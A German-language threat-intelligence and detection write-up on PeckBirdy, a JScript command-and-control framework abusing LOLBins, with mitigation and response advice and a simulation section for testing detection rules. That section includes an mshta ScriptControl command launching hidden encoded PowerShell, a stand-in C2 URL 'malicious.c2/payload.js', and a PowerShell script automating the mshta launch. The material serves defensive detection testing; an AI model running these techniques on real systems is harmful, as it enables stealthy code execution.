PeckBirdy: Ein vielseitiges Skript-Framework zur Ausnutzung von LOLBins, das von China-ausgerichteten Bedrohungsgruppen verwendet wird
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
PeckBirdy ist ein auf JScript basierendes Command-and-Control-Framework, das von China-ausgerichteten APT-Akteuren genutzt wird, um Living-off-the-Land-Binärdateien zu missbrauchen und modulare Backdoors wie HOLODONUT und MKDOOR bereitzustellen. Es ist darauf ausgelegt, über mehrere Laufzeiten auszuführen – Webbrowser, MSHTA, WScript, NodeJS und .NET – und unterstützt mehrere Transportoptionen wie WebSocket, Flash, Comet und HTTP. Das Framework wurde in Kampagnen beobachtet, die als SHADOW-VOID-044 und SHADOW-EARTH-045 verfolgt werden und die sich gegen Online-Glücksspielressourcen, asiatische Regierungswebportale und eine Bildungseinrichtung richteten.
Untersuchung
Forscher berichteten über bösartige Skriptinjektionen auf kompromittierten Glücksspielseiten und Regierungsseiten, die den PeckBirdy-Loader herunterzogen, der dann nachfolgende Nutzlasten abrief – insbesondere einen Chrome-Exploit (CVE-2020-16040) und zusätzliche Backdoor-Komponenten. Die Aktivität wurde mit zwei modularen Implantaten, HOLODONUT und MKDOOR, in Verbindung gebracht und mit zuvor beobachteten Gruppen und Infrastrukturmustern verbunden. Die Analyse katalogisierte auch Indikatoren für Kompromittierungen, einschließlich IP-Adressen, Domains und operativer Details wie die Verwendung gestohlener Code-Signatur-Zertifikate.
Minderung
Blockieren Sie identifizierte bösartige Domains und IP-Adressen und überwachen Sie atypische LOLBin-Nutzung und Skriptausführung über MSHTA, WScript und NodeJS. Erkennen Sie die Erstellung des unique_id Datei in %TEMP% und erzwingen Sie eine strenge Validierung von Code-Signatur-Zertifikaten. Abdeckung für bekannte Cobalt-Strike-Nutzlasten und Donut-generierte .NET-Assemblies kann die Exposition weiter reduzieren.
Reaktion
Wenn erkannt, isolieren Sie betroffene Systeme, sammeln Sie das eingespritzte Skript und alle produzierten Backdoor-Binärdateien und blockieren Sie die zugehörige C2-Infrastruktur. Führen Sie eine forensische Prüfung auf laterale Bewegungen durch und aktualisieren Sie die Erkennungslogik für die beobachteten Befehlszeilen-Artefakte und Netzwerkverkehrsmuster.
Angriffsfluss
Erkennungen
LOLBAS WScript / CScript (via Prozess-Erstellung)
Anzeigen
Verdächtiges LOLBAS MSHTA Defense Evasion Verhalten durch Erkennung von zugehörigen Befehlen (via Prozess-Erstellung)
Anzeigen
Verdächtige Veränderung von Defender-Ausnahmen über WMIC (via cmdline)
Anzeigen
IOCs (HashSha1) zur Erkennung: PeckBirdy: Ein vielseitiges Skript-Framework für LOLBins-Exploitation, genutzt von China-ausgerichteten Bedrohungsgruppen
Anzeigen
IOCs (SourceIP) zur Erkennung: PeckBirdy: Ein vielseitiges Skript-Framework für LOLBins-Exploitation, genutzt von China-ausgerichteten Bedrohungsgruppen
Anzeigen
IOCs (DestinationIP) zur Erkennung: PeckBirdy: Ein vielseitiges Skript-Framework für LOLBins-Exploitation, genutzt von China-ausgerichteten Bedrohungsgruppen
Anzeigen
MSHTA und ScriptControl Nutzung für PeckBirdy-Ausführung [Windows Prozess-Erstellung]
Anzeigen
Erkennung von PeckBirdy-Bösartigen Skript-Injektionen und Anmeldeinformationen-Ernte [Webserver]
Anzeigen
Simulation Ausführung
Voraussetzung: Die Telemetrie- & Baseline-Vorabprüfung muss bestanden haben.
Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der gegnerischen Technik (TTP), die die Erkennungsregel auslösen soll. Die Befehle und die Erzählung MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird.
-
Angriffserzählung & Befehle:
Der Gegner möchte einen Fernsteuerungskanal mithilfe des PeckBirdy Skript-Frameworks aufbauen. Sie wählenmshta.exe, da es sich um ein signiertes Windows-Binärdatei handelt, das die meisten Anwendungs-Whitelistings umgeht. Die Payload bettet ein ActiveXScriptControlObjekt ein, um JScript-Code auszuführen, der von einem C2-Server abgerufen wird. Die Schritte sind:- Herunterladen der bösartigen JScript-Nutzlast vom C2 (z.B.,
http://malicious.c2/payload.js). - Starten
mshta.exemit einem Inlinejavascript:URI, das eineScriptControlInstanz erstellt, das heruntergeladene Skript lädt und es ausführt. - Der JScript-Code richtet einen Reverse-TCP-Listener ein und vervollständigt so den Fußweg.
Die genaue Befehlszeile, die die Telemetrie erzeugt, lautet:
mshta.exe "javascript:var sc=new ActiveXObject('ScriptControl');sc.Language='JScript';sc.AddCode('var s=new ActiveXObject("WScript.Shell");s.Run("powershell -nop -w hidden -EncodedCommand ...");');void(0)"Dieser Befehl enthält sowohl
mshta.exeals auch den StringScriptControl, was die Sigma-Bedingung erfüllt. - Herunterladen der bösartigen JScript-Nutzlast vom C2 (z.B.,
-
Regressionstest-Skript:
Das untenstehende Skript automatisiert die bösartigemshtaAufruf. Es kann auf einem Testarbeitsplatz unter einem administrativen Konto ausgeführt werden.#------------------------------------------------- # PeckBirdy-Ausführung über mshta + ScriptControl #------------------------------------------------- $c2Url = "http://malicious.c2/payload.js" $jsCode = @" var sc = new ActiveXObject('ScriptControl'); sc.Language = 'JScript'; // Einfache Beacon – ersetzen Sie durch reale Nutzlast sc.AddCode('var s = new ActiveXObject("WScript.Shell"); s.Run("cmd /c echo Compromised > C:temppwned.txt");'); "@ # Kodieren Sie die JScript-Nutzlast, um Zeilenumbruchsprobleme zu vermeiden $encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($jsCode)) $mshtaCmd = "javascript:var sc=new ActiveXObject('ScriptControl');sc.Language='JScript';sc.AddCode([System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('$encoded')));void(0)" Write-Host "[*] Starten des bösartigen mshta..." Start-Process -FilePath "mshta.exe" -ArgumentList $mshtaCmd -NoNewWindow -
Bereinigungsbefehle:
Entfernen Sie alle vom Test erstellten Artefakte (z. B. die temporäre Datei).#------------------------------------------------- # Bereinigung nach PeckBirdy-Simulation #------------------------------------------------- Write-Host "[*] Bereinigen der Testartefakte..." Remove-Item -Path "C:temppwned.txt" -ErrorAction SilentlyContinue # Stoppen Sie alle verbleibenden mshta-Prozesse, die vom Test gestartet wurden Get-Process -Name mshta -ErrorAction SilentlyContinue | Stop-Process -Force